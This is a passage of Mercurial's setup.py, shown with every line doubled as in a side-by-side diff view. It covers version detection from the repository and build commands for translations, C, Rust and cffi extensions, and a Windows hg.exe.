264 # that actually removes its temporary files.
264 # that actually removes its temporary files.
265 def hasfunction(cc, funcname):
265 def hasfunction(cc, funcname):
266 code = 'int main(void) { %s(); }\n' % funcname
266 code = 'int main(void) { %s(); }\n' % funcname
267 return cancompile(cc, code)
267 return cancompile(cc, code)
268
268
269
269
270 def hasheader(cc, headername):
270 def hasheader(cc, headername):
271 code = '#include <%s>\nint main(void) { return 0; }\n' % headername
271 code = '#include <%s>\nint main(void) { return 0; }\n' % headername
272 return cancompile(cc, code)
272 return cancompile(cc, code)
273
273
274
274
275 # py2exe needs to be installed to work
275 # py2exe needs to be installed to work
276 try:
276 try:
277 import py2exe
277 import py2exe
278
278
279 py2exe.Distribution # silence unused import warning
279 py2exe.Distribution # silence unused import warning
280 py2exeloaded = True
280 py2exeloaded = True
281 # import py2exe's patched Distribution class
281 # import py2exe's patched Distribution class
282 from distutils.core import Distribution
282 from distutils.core import Distribution
283 except ImportError:
283 except ImportError:
284 py2exeloaded = False
284 py2exeloaded = False
285
285
286
286
287 def runcmd(cmd, env, cwd=None):
287 def runcmd(cmd, env, cwd=None):
288 p = subprocess.Popen(
288 p = subprocess.Popen(
289 cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env, cwd=cwd
289 cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env, cwd=cwd
290 )
290 )
291 out, err = p.communicate()
291 out, err = p.communicate()
292 return p.returncode, out, err
292 return p.returncode, out, err
293
293
294
294
295 class hgcommand(object):
295 class hgcommand(object):
296 def __init__(self, cmd, env):
296 def __init__(self, cmd, env):
297 self.cmd = cmd
297 self.cmd = cmd
298 self.env = env
298 self.env = env
299
299
300 def run(self, args):
300 def run(self, args):
301 cmd = self.cmd + args
301 cmd = self.cmd + args
302 returncode, out, err = runcmd(cmd, self.env)
302 returncode, out, err = runcmd(cmd, self.env)
303 err = filterhgerr(err)
303 err = filterhgerr(err)
304 if err or returncode != 0:
304 if err or returncode != 0:
305 printf("stderr from '%s':" % (' '.join(cmd)), file=sys.stderr)
305 printf("stderr from '%s':" % (' '.join(cmd)), file=sys.stderr)
306 printf(err, file=sys.stderr)
306 printf(err, file=sys.stderr)
307 return b''
307 return b''
308 return out
308 return out
309
309
310
310
311 def filterhgerr(err):
311 def filterhgerr(err):
312 # If root is executing setup.py, but the repository is owned by
312 # If root is executing setup.py, but the repository is owned by
313 # another user (as in "sudo python setup.py install") we will get
313 # another user (as in "sudo python setup.py install") we will get
314 # trust warnings since the .hg/hgrc file is untrusted. That is
314 # trust warnings since the .hg/hgrc file is untrusted. That is
315 # fine, we don't want to load it anyway. Python may warn about
315 # fine, we don't want to load it anyway. Python may warn about
316 # a missing __init__.py in mercurial/locale, we also ignore that.
316 # a missing __init__.py in mercurial/locale, we also ignore that.
317 err = [
317 err = [
318 e
318 e
319 for e in err.splitlines()
319 for e in err.splitlines()
320 if (
320 if (
321 not e.startswith(b'not trusting file')
321 not e.startswith(b'not trusting file')
322 and not e.startswith(b'warning: Not importing')
322 and not e.startswith(b'warning: Not importing')
323 and not e.startswith(b'obsolete feature not enabled')
323 and not e.startswith(b'obsolete feature not enabled')
324 and not e.startswith(b'*** failed to import extension')
324 and not e.startswith(b'*** failed to import extension')
325 and not e.startswith(b'devel-warn:')
325 and not e.startswith(b'devel-warn:')
326 and not (
326 and not (
327 e.startswith(b'(third party extension')
327 e.startswith(b'(third party extension')
328 and e.endswith(b'or newer of Mercurial; disabling)')
328 and e.endswith(b'or newer of Mercurial; disabling)')
329 )
329 )
330 )
330 )
331 ]
331 ]
332 return b'\n'.join(b' ' + e for e in err)
332 return b'\n'.join(b' ' + e for e in err)
333
333
334
334
335 def findhg():
335 def findhg():
336 """Try to figure out how we should invoke hg for examining the local
336 """Try to figure out how we should invoke hg for examining the local
337 repository contents.
337 repository contents.
338
338
339 Returns an hgcommand object."""
339 Returns an hgcommand object."""
340 # By default, prefer the "hg" command in the user's path. This was
340 # By default, prefer the "hg" command in the user's path. This was
341 # presumably the hg command that the user used to create this repository.
341 # presumably the hg command that the user used to create this repository.
342 #
342 #
343 # This repository may require extensions or other settings that would not
343 # This repository may require extensions or other settings that would not
344 # be enabled by running the hg script directly from this local repository.
344 # be enabled by running the hg script directly from this local repository.
345 hgenv = os.environ.copy()
345 hgenv = os.environ.copy()
346 # Use HGPLAIN to disable hgrc settings that would change output formatting,
346 # Use HGPLAIN to disable hgrc settings that would change output formatting,
347 # and disable localization for the same reasons.
347 # and disable localization for the same reasons.
348 hgenv['HGPLAIN'] = '1'
348 hgenv['HGPLAIN'] = '1'
349 hgenv['LANGUAGE'] = 'C'
349 hgenv['LANGUAGE'] = 'C'
350 hgcmd = ['hg']
350 hgcmd = ['hg']
351 # Run a simple "hg log" command just to see if using hg from the user's
351 # Run a simple "hg log" command just to see if using hg from the user's
352 # path works and can successfully interact with this repository. Windows
352 # path works and can successfully interact with this repository. Windows
353 # gives precedence to hg.exe in the current directory, so fall back to the
353 # gives precedence to hg.exe in the current directory, so fall back to the
354 # python invocation of local hg, where pythonXY.dll can always be found.
354 # python invocation of local hg, where pythonXY.dll can always be found.
355 check_cmd = ['log', '-r.', '-Ttest']
355 check_cmd = ['log', '-r.', '-Ttest']
356 if os.name != 'nt' or not os.path.exists("hg.exe"):
356 if os.name != 'nt' or not os.path.exists("hg.exe"):
357 try:
357 try:
358 retcode, out, err = runcmd(hgcmd + check_cmd, hgenv)
358 retcode, out, err = runcmd(hgcmd + check_cmd, hgenv)
359 except EnvironmentError:
359 except EnvironmentError:
360 retcode = -1
360 retcode = -1
361 if retcode == 0 and not filterhgerr(err):
361 if retcode == 0 and not filterhgerr(err):
362 return hgcommand(hgcmd, hgenv)
362 return hgcommand(hgcmd, hgenv)
363
363
364 # Fall back to trying the local hg installation.
364 # Fall back to trying the local hg installation.
365 hgenv = localhgenv()
365 hgenv = localhgenv()
366 hgcmd = [sys.executable, 'hg']
366 hgcmd = [sys.executable, 'hg']
367 try:
367 try:
368 retcode, out, err = runcmd(hgcmd + check_cmd, hgenv)
368 retcode, out, err = runcmd(hgcmd + check_cmd, hgenv)
369 except EnvironmentError:
369 except EnvironmentError:
370 retcode = -1
370 retcode = -1
371 if retcode == 0 and not filterhgerr(err):
371 if retcode == 0 and not filterhgerr(err):
372 return hgcommand(hgcmd, hgenv)
372 return hgcommand(hgcmd, hgenv)
373
373
374 raise SystemExit(
374 raise SystemExit(
375 'Unable to find a working hg binary to extract the '
375 'Unable to find a working hg binary to extract the '
376 'version from the repository tags'
376 'version from the repository tags'
377 )
377 )
378
378
379
379
380 def localhgenv():
380 def localhgenv():
381 """Get an environment dictionary to use for invoking or importing
381 """Get an environment dictionary to use for invoking or importing
382 mercurial from the local repository."""
382 mercurial from the local repository."""
383 # Execute hg out of this directory with a custom environment which takes
383 # Execute hg out of this directory with a custom environment which takes
384 # care to not use any hgrc files and do no localization.
384 # care to not use any hgrc files and do no localization.
385 env = {
385 env = {
386 'HGMODULEPOLICY': 'py',
386 'HGMODULEPOLICY': 'py',
387 'HGRCPATH': '',
387 'HGRCPATH': '',
388 'LANGUAGE': 'C',
388 'LANGUAGE': 'C',
389 'PATH': '',
389 'PATH': '',
390 } # make pypi modules that use os.environ['PATH'] happy
390 } # make pypi modules that use os.environ['PATH'] happy
391 if 'LD_LIBRARY_PATH' in os.environ:
391 if 'LD_LIBRARY_PATH' in os.environ:
392 env['LD_LIBRARY_PATH'] = os.environ['LD_LIBRARY_PATH']
392 env['LD_LIBRARY_PATH'] = os.environ['LD_LIBRARY_PATH']
393 if 'SystemRoot' in os.environ:
393 if 'SystemRoot' in os.environ:
394 # SystemRoot is required by Windows to load various DLLs. See:
394 # SystemRoot is required by Windows to load various DLLs. See:
395 # https://bugs.python.org/issue13524#msg148850
395 # https://bugs.python.org/issue13524#msg148850
396 env['SystemRoot'] = os.environ['SystemRoot']
396 env['SystemRoot'] = os.environ['SystemRoot']
397 return env
397 return env
398
398
399
399
400 version = ''
400 version = ''
401
401
402 if os.path.isdir('.hg'):
402 if os.path.isdir('.hg'):
403 hg = findhg()
403 hg = findhg()
404 cmd = ['log', '-r', '.', '--template', '{tags}\n']
404 cmd = ['log', '-r', '.', '--template', '{tags}\n']
405 numerictags = [t for t in sysstr(hg.run(cmd)).split() if t[0:1].isdigit()]
405 numerictags = [t for t in sysstr(hg.run(cmd)).split() if t[0:1].isdigit()]
406 hgid = sysstr(hg.run(['id', '-i'])).strip()
406 hgid = sysstr(hg.run(['id', '-i'])).strip()
407 if not hgid:
407 if not hgid:
408 # Bail out if hg is having problems interacting with this repository,
408 # Bail out if hg is having problems interacting with this repository,
409 # rather than falling through and producing a bogus version number.
409 # rather than falling through and producing a bogus version number.
410 # Continuing with an invalid version number will break extensions
410 # Continuing with an invalid version number will break extensions
411 # that define minimumhgversion.
411 # that define minimumhgversion.
412 raise SystemExit('Unable to determine hg version from local repository')
412 raise SystemExit('Unable to determine hg version from local repository')
413 if numerictags: # tag(s) found
413 if numerictags: # tag(s) found
414 version = numerictags[-1]
414 version = numerictags[-1]
415 if hgid.endswith('+'): # propagate the dirty status to the tag
415 if hgid.endswith('+'): # propagate the dirty status to the tag
416 version += '+'
416 version += '+'
417 else: # no tag found
417 else: # no tag found
418 ltagcmd = ['parents', '--template', '{latesttag}']
418 ltagcmd = ['parents', '--template', '{latesttag}']
419 ltag = sysstr(hg.run(ltagcmd))
419 ltag = sysstr(hg.run(ltagcmd))
420 changessincecmd = ['log', '-T', 'x\n', '-r', "only(.,'%s')" % ltag]
420 changessincecmd = ['log', '-T', 'x\n', '-r', "only(.,'%s')" % ltag]
421 changessince = len(hg.run(changessincecmd).splitlines())
421 changessince = len(hg.run(changessincecmd).splitlines())
422 version = '%s+hg%s.%s' % (ltag, changessince, hgid)
422 version = '%s+hg%s.%s' % (ltag, changessince, hgid)
423 if version.endswith('+'):
423 if version.endswith('+'):
424 version = version[:-1] + 'local' + time.strftime('%Y%m%d')
424 version = version[:-1] + 'local' + time.strftime('%Y%m%d')
425 elif os.path.exists('.hg_archival.txt'):
425 elif os.path.exists('.hg_archival.txt'):
426 kw = dict(
426 kw = dict(
427 [[t.strip() for t in l.split(':', 1)] for l in open('.hg_archival.txt')]
427 [[t.strip() for t in l.split(':', 1)] for l in open('.hg_archival.txt')]
428 )
428 )
429 if 'tag' in kw:
429 if 'tag' in kw:
430 version = kw['tag']
430 version = kw['tag']
431 elif 'latesttag' in kw:
431 elif 'latesttag' in kw:
432 if 'changessincelatesttag' in kw:
432 if 'changessincelatesttag' in kw:
433 version = (
433 version = (
434 '%(latesttag)s+hg%(changessincelatesttag)s.%(node).12s' % kw
434 '%(latesttag)s+hg%(changessincelatesttag)s.%(node).12s' % kw
435 )
435 )
436 else:
436 else:
437 version = '%(latesttag)s+hg%(latesttagdistance)s.%(node).12s' % kw
437 version = '%(latesttag)s+hg%(latesttagdistance)s.%(node).12s' % kw
438 else:
438 else:
439 version = '0+hg' + kw.get('node', '')[:12]
439 version = '0+hg' + kw.get('node', '')[:12]
440 elif os.path.exists('mercurial/__version__.py'):
440 elif os.path.exists('mercurial/__version__.py'):
441 with open('mercurial/__version__.py') as f:
441 with open('mercurial/__version__.py') as f:
442 data = f.read()
442 data = f.read()
443 version = re.search('version = b"(.*)"', data).group(1)
443 version = re.search('version = b"(.*)"', data).group(1)
444
444
445 if version:
445 if version:
446 versionb = version
446 versionb = version
447 if not isinstance(versionb, bytes):
447 if not isinstance(versionb, bytes):
448 versionb = versionb.encode('ascii')
448 versionb = versionb.encode('ascii')
449
449
450 write_if_changed(
450 write_if_changed(
451 'mercurial/__version__.py',
451 'mercurial/__version__.py',
452 b''.join(
452 b''.join(
453 [
453 [
454 b'# this file is autogenerated by setup.py\n'
454 b'# this file is autogenerated by setup.py\n'
455 b'version = b"%s"\n' % versionb,
455 b'version = b"%s"\n' % versionb,
456 ]
456 ]
457 ),
457 ),
458 )
458 )
459
459
460
460
461 class hgbuild(build):
461 class hgbuild(build):
462 # Insert hgbuildmo first so that files in mercurial/locale/ are found
462 # Insert hgbuildmo first so that files in mercurial/locale/ are found
463 # when build_py is run next.
463 # when build_py is run next.
464 sub_commands = [('build_mo', None)] + build.sub_commands
464 sub_commands = [('build_mo', None)] + build.sub_commands
465
465
466
466
467 class hgbuildmo(build):
467 class hgbuildmo(build):
468
468
469 description = "build translations (.mo files)"
469 description = "build translations (.mo files)"
470
470
471 def run(self):
471 def run(self):
472 if not find_executable('msgfmt'):
472 if not find_executable('msgfmt'):
473 self.warn(
473 self.warn(
474 "could not find msgfmt executable, no translations "
474 "could not find msgfmt executable, no translations "
475 "will be built"
475 "will be built"
476 )
476 )
477 return
477 return
478
478
479 podir = 'i18n'
479 podir = 'i18n'
480 if not os.path.isdir(podir):
480 if not os.path.isdir(podir):
481 self.warn("could not find %s/ directory" % podir)
481 self.warn("could not find %s/ directory" % podir)
482 return
482 return
483
483
484 join = os.path.join
484 join = os.path.join
485 for po in os.listdir(podir):
485 for po in os.listdir(podir):
486 if not po.endswith('.po'):
486 if not po.endswith('.po'):
487 continue
487 continue
488 pofile = join(podir, po)
488 pofile = join(podir, po)
489 modir = join('locale', po[:-3], 'LC_MESSAGES')
489 modir = join('locale', po[:-3], 'LC_MESSAGES')
490 mofile = join(modir, 'hg.mo')
490 mofile = join(modir, 'hg.mo')
491 mobuildfile = join('mercurial', mofile)
491 mobuildfile = join('mercurial', mofile)
492 cmd = ['msgfmt', '-v', '-o', mobuildfile, pofile]
492 cmd = ['msgfmt', '-v', '-o', mobuildfile, pofile]
493 if sys.platform != 'sunos5':
493 if sys.platform != 'sunos5':
494 # msgfmt on Solaris does not know about -c
494 # msgfmt on Solaris does not know about -c
495 cmd.append('-c')
495 cmd.append('-c')
496 self.mkpath(join('mercurial', modir))
496 self.mkpath(join('mercurial', modir))
497 self.make_file([pofile], mobuildfile, spawn, (cmd,))
497 self.make_file([pofile], mobuildfile, spawn, (cmd,))
498
498
499
499
500 class hgdist(Distribution):
500 class hgdist(Distribution):
501 pure = False
501 pure = False
502 rust = False
502 rust = False
503 no_rust = False
503 no_rust = False
504 cffi = ispypy
504 cffi = ispypy
505
505
506 global_options = Distribution.global_options + [
506 global_options = Distribution.global_options + [
507 ('pure', None, "use pure (slow) Python code instead of C extensions"),
507 ('pure', None, "use pure (slow) Python code instead of C extensions"),
508 ('rust', None, "use Rust extensions additionally to C extensions"),
508 ('rust', None, "use Rust extensions additionally to C extensions"),
509 (
509 (
510 'no-rust',
510 'no-rust',
511 None,
511 None,
512 "do not use Rust extensions additionally to C extensions",
512 "do not use Rust extensions additionally to C extensions",
513 ),
513 ),
514 ]
514 ]
515
515
516 negative_opt = Distribution.negative_opt.copy()
516 negative_opt = Distribution.negative_opt.copy()
517 boolean_options = ['pure', 'rust', 'no-rust']
517 boolean_options = ['pure', 'rust', 'no-rust']
518 negative_opt['no-rust'] = 'rust'
518 negative_opt['no-rust'] = 'rust'
519
519
520 def _set_command_options(self, command_obj, option_dict=None):
520 def _set_command_options(self, command_obj, option_dict=None):
521 # Not all distutils versions in the wild have boolean_options.
521 # Not all distutils versions in the wild have boolean_options.
522 # This should be cleaned up when we're Python 3 only.
522 # This should be cleaned up when we're Python 3 only.
523 command_obj.boolean_options = (
523 command_obj.boolean_options = (
524 getattr(command_obj, 'boolean_options', []) + self.boolean_options
524 getattr(command_obj, 'boolean_options', []) + self.boolean_options
525 )
525 )
526 return Distribution._set_command_options(
526 return Distribution._set_command_options(
527 self, command_obj, option_dict=option_dict
527 self, command_obj, option_dict=option_dict
528 )
528 )
529
529
530 def parse_command_line(self):
530 def parse_command_line(self):
531 ret = Distribution.parse_command_line(self)
531 ret = Distribution.parse_command_line(self)
532 if not (self.rust or self.no_rust):
532 if not (self.rust or self.no_rust):
533 hgrustext = os.environ.get('HGWITHRUSTEXT')
533 hgrustext = os.environ.get('HGWITHRUSTEXT')
534 # TODO record it for proper rebuild upon changes
534 # TODO record it for proper rebuild upon changes
535 # (see mercurial/__modulepolicy__.py)
535 # (see mercurial/__modulepolicy__.py)
536 if hgrustext != 'cpython' and hgrustext is not None:
536 if hgrustext != 'cpython' and hgrustext is not None:
537 if hgrustext:
537 if hgrustext:
538 msg = 'unknown HGWITHRUSTEXT value: %s' % hgrustext
538 msg = 'unknown HGWITHRUSTEXT value: %s' % hgrustext
539 printf(msg, file=sys.stderr)
539 printf(msg, file=sys.stderr)
540 hgrustext = None
540 hgrustext = None
541 self.rust = hgrustext is not None
541 self.rust = hgrustext is not None
542 self.no_rust = not self.rust
542 self.no_rust = not self.rust
543 return ret
543 return ret
544
544
545 def has_ext_modules(self):
545 def has_ext_modules(self):
546 # self.ext_modules is emptied in hgbuildpy.finalize_options which is
546 # self.ext_modules is emptied in hgbuildpy.finalize_options which is
547 # too late for some cases
547 # too late for some cases
548 return not self.pure and Distribution.has_ext_modules(self)
548 return not self.pure and Distribution.has_ext_modules(self)
549
549
550
550
551 # This is ugly as a one-liner. So use a variable.
551 # This is ugly as a one-liner. So use a variable.
552 buildextnegops = dict(getattr(build_ext, 'negative_options', {}))
552 buildextnegops = dict(getattr(build_ext, 'negative_options', {}))
553 buildextnegops['no-zstd'] = 'zstd'
553 buildextnegops['no-zstd'] = 'zstd'
554 buildextnegops['no-rust'] = 'rust'
554 buildextnegops['no-rust'] = 'rust'
555
555
556
556
557 class hgbuildext(build_ext):
557 class hgbuildext(build_ext):
558 user_options = build_ext.user_options + [
558 user_options = build_ext.user_options + [
559 ('zstd', None, 'compile zstd bindings [default]'),
559 ('zstd', None, 'compile zstd bindings [default]'),
560 ('no-zstd', None, 'do not compile zstd bindings'),
560 ('no-zstd', None, 'do not compile zstd bindings'),
561 (
561 (
562 'rust',
562 'rust',
563 None,
563 None,
564 'compile Rust extensions if they are in use '
564 'compile Rust extensions if they are in use '
565 '(requires Cargo) [default]',
565 '(requires Cargo) [default]',
566 ),
566 ),
567 ('no-rust', None, 'do not compile Rust extensions'),
567 ('no-rust', None, 'do not compile Rust extensions'),
568 ]
568 ]
569
569
570 boolean_options = build_ext.boolean_options + ['zstd', 'rust']
570 boolean_options = build_ext.boolean_options + ['zstd', 'rust']
571 negative_opt = buildextnegops
571 negative_opt = buildextnegops
572
572
573 def initialize_options(self):
573 def initialize_options(self):
574 self.zstd = True
574 self.zstd = True
575 self.rust = True
575 self.rust = True
576
576
577 return build_ext.initialize_options(self)
577 return build_ext.initialize_options(self)
578
578
579 def finalize_options(self):
579 def finalize_options(self):
580 # Unless overridden by the end user, build extensions in parallel.
580 # Unless overridden by the end user, build extensions in parallel.
581 # Only influences behavior on Python 3.5+.
581 # Only influences behavior on Python 3.5+.
582 if getattr(self, 'parallel', None) is None:
582 if getattr(self, 'parallel', None) is None:
583 self.parallel = True
583 self.parallel = True
584
584
585 return build_ext.finalize_options(self)
585 return build_ext.finalize_options(self)
586
586
587 def build_extensions(self):
587 def build_extensions(self):
588 ruststandalones = [
588 ruststandalones = [
589 e for e in self.extensions if isinstance(e, RustStandaloneExtension)
589 e for e in self.extensions if isinstance(e, RustStandaloneExtension)
590 ]
590 ]
591 self.extensions = [
591 self.extensions = [
592 e for e in self.extensions if e not in ruststandalones
592 e for e in self.extensions if e not in ruststandalones
593 ]
593 ]
594 # Filter out zstd if disabled via argument.
594 # Filter out zstd if disabled via argument.
595 if not self.zstd:
595 if not self.zstd:
596 self.extensions = [
596 self.extensions = [
597 e for e in self.extensions if e.name != 'mercurial.zstd'
597 e for e in self.extensions if e.name != 'mercurial.zstd'
598 ]
598 ]
599
599
600 # Build Rust standalone extensions if it'll be used
600 # Build Rust standalone extensions if it'll be used
601 # and its build is not explicitly disabled (for external build
601 # and its build is not explicitly disabled (for external build
602 # as Linux distributions would do)
602 # as Linux distributions would do)
603 if self.distribution.rust and self.rust:
603 if self.distribution.rust and self.rust:
604 if not sys.platform.startswith('linux'):
604 if not sys.platform.startswith('linux'):
605 self.warn(
605 self.warn(
606 "rust extensions have only been tested on Linux "
606 "rust extensions have only been tested on Linux "
607 "and may not behave correctly on other platforms"
607 "and may not behave correctly on other platforms"
608 )
608 )
609
609
610 for rustext in ruststandalones:
610 for rustext in ruststandalones:
611 rustext.build('' if self.inplace else self.build_lib)
611 rustext.build('' if self.inplace else self.build_lib)
612
612
613 return build_ext.build_extensions(self)
613 return build_ext.build_extensions(self)
614
614
615 def build_extension(self, ext):
615 def build_extension(self, ext):
616 if (
616 if (
617 self.distribution.rust
617 self.distribution.rust
618 and self.rust
618 and self.rust
619 and isinstance(ext, RustExtension)
619 and isinstance(ext, RustExtension)
620 ):
620 ):
621 ext.rustbuild()
621 ext.rustbuild()
622 try:
622 try:
623 build_ext.build_extension(self, ext)
623 build_ext.build_extension(self, ext)
624 except CCompilerError:
624 except CCompilerError:
625 if not getattr(ext, 'optional', False):
625 if not getattr(ext, 'optional', False):
626 raise
626 raise
627 log.warn(
627 log.warn(
628 "Failed to build optional extension '%s' (skipping)", ext.name
628 "Failed to build optional extension '%s' (skipping)", ext.name
629 )
629 )
630
630
631
631
632 class hgbuildscripts(build_scripts):
632 class hgbuildscripts(build_scripts):
633 def run(self):
633 def run(self):
634 if os.name != 'nt' or self.distribution.pure:
634 if os.name != 'nt' or self.distribution.pure:
635 return build_scripts.run(self)
635 return build_scripts.run(self)
636
636
637 exebuilt = False
637 exebuilt = False
638 try:
638 try:
639 self.run_command('build_hgexe')
639 self.run_command('build_hgexe')
640 exebuilt = True
640 exebuilt = True
641 except (DistutilsError, CCompilerError):
641 except (DistutilsError, CCompilerError):
642 log.warn('failed to build optional hg.exe')
642 log.warn('failed to build optional hg.exe')
643
643
644 if exebuilt:
644 if exebuilt:
645 # Copying hg.exe to the scripts build directory ensures it is
645 # Copying hg.exe to the scripts build directory ensures it is
646 # installed by the install_scripts command.
646 # installed by the install_scripts command.
647 hgexecommand = self.get_finalized_command('build_hgexe')
647 hgexecommand = self.get_finalized_command('build_hgexe')
648 dest = os.path.join(self.build_dir, 'hg.exe')
648 dest = os.path.join(self.build_dir, 'hg.exe')
649 self.mkpath(self.build_dir)
649 self.mkpath(self.build_dir)
650 self.copy_file(hgexecommand.hgexepath, dest)
650 self.copy_file(hgexecommand.hgexepath, dest)
651
651
652 # Remove hg.bat because it is redundant with hg.exe.
652 # Remove hg.bat because it is redundant with hg.exe.
653 self.scripts.remove('contrib/win32/hg.bat')
653 self.scripts.remove('contrib/win32/hg.bat')
654
654
655 return build_scripts.run(self)
655 return build_scripts.run(self)
656
656
657
657
658 class hgbuildpy(build_py):
658 class hgbuildpy(build_py):
659 def finalize_options(self):
659 def finalize_options(self):
660 build_py.finalize_options(self)
660 build_py.finalize_options(self)
661
661
662 if self.distribution.pure:
662 if self.distribution.pure:
663 self.distribution.ext_modules = []
663 self.distribution.ext_modules = []
664 elif self.distribution.cffi:
664 elif self.distribution.cffi:
665 from mercurial.cffi import (
665 from mercurial.cffi import (
666 bdiffbuild,
666 bdiffbuild,
667 mpatchbuild,
667 mpatchbuild,
668 )
668 )
669
669
670 exts = [
670 exts = [
671 mpatchbuild.ffi.distutils_extension(),
671 mpatchbuild.ffi.distutils_extension(),
672 bdiffbuild.ffi.distutils_extension(),
672 bdiffbuild.ffi.distutils_extension(),
673 ]
673 ]
674 # cffi modules go here
674 # cffi modules go here
675 if sys.platform == 'darwin':
675 if sys.platform == 'darwin':
676 from mercurial.cffi import osutilbuild
676 from mercurial.cffi import osutilbuild
677
677
678 exts.append(osutilbuild.ffi.distutils_extension())
678 exts.append(osutilbuild.ffi.distutils_extension())
679 self.distribution.ext_modules = exts
679 self.distribution.ext_modules = exts
680 else:
680 else:
681 h = os.path.join(get_python_inc(), 'Python.h')
681 h = os.path.join(get_python_inc(), 'Python.h')
682 if not os.path.exists(h):
682 if not os.path.exists(h):
683 raise SystemExit(
683 raise SystemExit(
684 'Python headers are required to build '
684 'Python headers are required to build '
685 'Mercurial but weren\'t found in %s' % h
685 'Mercurial but weren\'t found in %s' % h
686 )
686 )
687
687
688 def run(self):
688 def run(self):
689 basepath = os.path.join(self.build_lib, 'mercurial')
689 basepath = os.path.join(self.build_lib, 'mercurial')
690 self.mkpath(basepath)
690 self.mkpath(basepath)
691
691
692 rust = self.distribution.rust
692 rust = self.distribution.rust
693 if self.distribution.pure:
693 if self.distribution.pure:
694 modulepolicy = 'py'
694 modulepolicy = 'py'
695 elif self.build_lib == '.':
695 elif self.build_lib == '.':
696 # in-place build should run without rebuilding and Rust extensions
696 # in-place build should run without rebuilding and Rust extensions
697 modulepolicy = 'rust+c-allow' if rust else 'allow'
697 modulepolicy = 'rust+c-allow' if rust else 'allow'
698 else:
698 else:
699 modulepolicy = 'rust+c' if rust else 'c'
699 modulepolicy = 'rust+c' if rust else 'c'
700
700
701 content = b''.join(
701 content = b''.join(
702 [
702 [
703 b'# this file is autogenerated by setup.py\n',
703 b'# this file is autogenerated by setup.py\n',
704 b'modulepolicy = b"%s"\n' % modulepolicy.encode('ascii'),
704 b'modulepolicy = b"%s"\n' % modulepolicy.encode('ascii'),
705 ]
705 ]
706 )
706 )
707 write_if_changed(os.path.join(basepath, '__modulepolicy__.py'), content)
707 write_if_changed(os.path.join(basepath, '__modulepolicy__.py'), content)
708
708
709 build_py.run(self)
709 build_py.run(self)
710
710
711
711
712 class buildhgextindex(Command):
712 class buildhgextindex(Command):
713 description = 'generate prebuilt index of hgext (for frozen package)'
713 description = 'generate prebuilt index of hgext (for frozen package)'
714 user_options = []
714 user_options = []
715 _indexfilename = 'hgext/__index__.py'
715 _indexfilename = 'hgext/__index__.py'
716
716
717 def initialize_options(self):
717 def initialize_options(self):
718 pass
718 pass
719
719
720 def finalize_options(self):
720 def finalize_options(self):
721 pass
721 pass
722
722
723 def run(self):
723 def run(self):
724 if os.path.exists(self._indexfilename):
724 if os.path.exists(self._indexfilename):
725 with open(self._indexfilename, 'w') as f:
725 with open(self._indexfilename, 'w') as f:
726 f.write('# empty\n')
726 f.write('# empty\n')
727
727
728 # here no extension enabled, disabled() lists up everything
728 # here no extension enabled, disabled() lists up everything
729 code = (
729 code = (
730 'import pprint; from mercurial import extensions; '
730 'import pprint; from mercurial import extensions; '
731 'ext = extensions.disabled();'
731 'ext = extensions.disabled();'
732 'ext.pop("__index__", None);'
732 'ext.pop("__index__", None);'
733 'pprint.pprint(ext)'
733 'pprint.pprint(ext)'
734 )
734 )
735 returncode, out, err = runcmd(
735 returncode, out, err = runcmd(
736 [sys.executable, '-c', code], localhgenv()
736 [sys.executable, '-c', code], localhgenv()
737 )
737 )
738 if err or returncode != 0:
738 if err or returncode != 0:
739 raise DistutilsExecError(err)
739 raise DistutilsExecError(err)
740
740
741 with open(self._indexfilename, 'wb') as f:
741 with open(self._indexfilename, 'wb') as f:
742 f.write(b'# this file is autogenerated by setup.py\n')
742 f.write(b'# this file is autogenerated by setup.py\n')
743 f.write(b'docs = ')
743 f.write(b'docs = ')
744 f.write(out)
744 f.write(out)
745
745
746
746
747 class buildhgexe(build_ext):
747 class buildhgexe(build_ext):
748 description = 'compile hg.exe from mercurial/exewrapper.c'
748 description = 'compile hg.exe from mercurial/exewrapper.c'
749 user_options = build_ext.user_options + [
749 user_options = build_ext.user_options + [
750 (
750 (
751 'long-paths-support',
751 'long-paths-support',
752 None,
752 None,
753 'enable support for long paths on '
753 'enable support for long paths on '
754 'Windows (off by default and '
754 'Windows (off by default and '
755 'experimental)',
755 'experimental)',
756 ),
756 ),
757 ]
757 ]
758
758
759 LONG_PATHS_MANIFEST = """
759 LONG_PATHS_MANIFEST = """
760 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
760 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
761 <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
761 <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
762 <application>
762 <application>
763 <windowsSettings
763 <windowsSettings
764 xmlns:ws2="http://schemas.microsoft.com/SMI/2016/WindowsSettings">
764 xmlns:ws2="http://schemas.microsoft.com/SMI/2016/WindowsSettings">
765 <ws2:longPathAware>true</ws2:longPathAware>
765 <ws2:longPathAware>true</ws2:longPathAware>
766 </windowsSettings>
766 </windowsSettings>
767 </application>
767 </application>
768 </assembly>"""
768 </assembly>"""
769
769
770 def initialize_options(self):
770 def initialize_options(self):
771 build_ext.initialize_options(self)
771 build_ext.initialize_options(self)
772 self.long_paths_support = False
772 self.long_paths_support = False
773
773
774 def build_extensions(self):
774 def build_extensions(self):
775 if os.name != 'nt':
775 if os.name != 'nt':
776 return
776 return
777 if isinstance(self.compiler, HackedMingw32CCompiler):
777 if isinstance(self.compiler, HackedMingw32CCompiler):
778 self.compiler.compiler_so = self.compiler.compiler # no -mdll
778 self.compiler.compiler_so = self.compiler.compiler # no -mdll
779 self.compiler.dll_libraries = [] # no -lmsrvc90
779 self.compiler.dll_libraries = [] # no -lmsrvc90
780
780
781 pythonlib = None
781 pythonlib = None
782
782
783 dir = os.path.dirname(self.get_ext_fullpath('dummy'))
783 dir = os.path.dirname(self.get_ext_fullpath('dummy'))
784 self.hgtarget = os.path.join(dir, 'hg')
784 self.hgtarget = os.path.join(dir, 'hg')
785
785
786 if getattr(sys, 'dllhandle', None):
786 if getattr(sys, 'dllhandle', None):
787 # Different Python installs can have different Python library
787 # Different Python installs can have different Python library
788 # names. e.g. the official CPython distribution uses pythonXY.dll
788 # names. e.g. the official CPython distribution uses pythonXY.dll
789 # and MinGW uses libpythonX.Y.dll.
789 # and MinGW uses libpythonX.Y.dll.
790 _kernel32 = ctypes.windll.kernel32
790 _kernel32 = ctypes.windll.kernel32
791 _kernel32.GetModuleFileNameA.argtypes = [
791 _kernel32.GetModuleFileNameA.argtypes = [
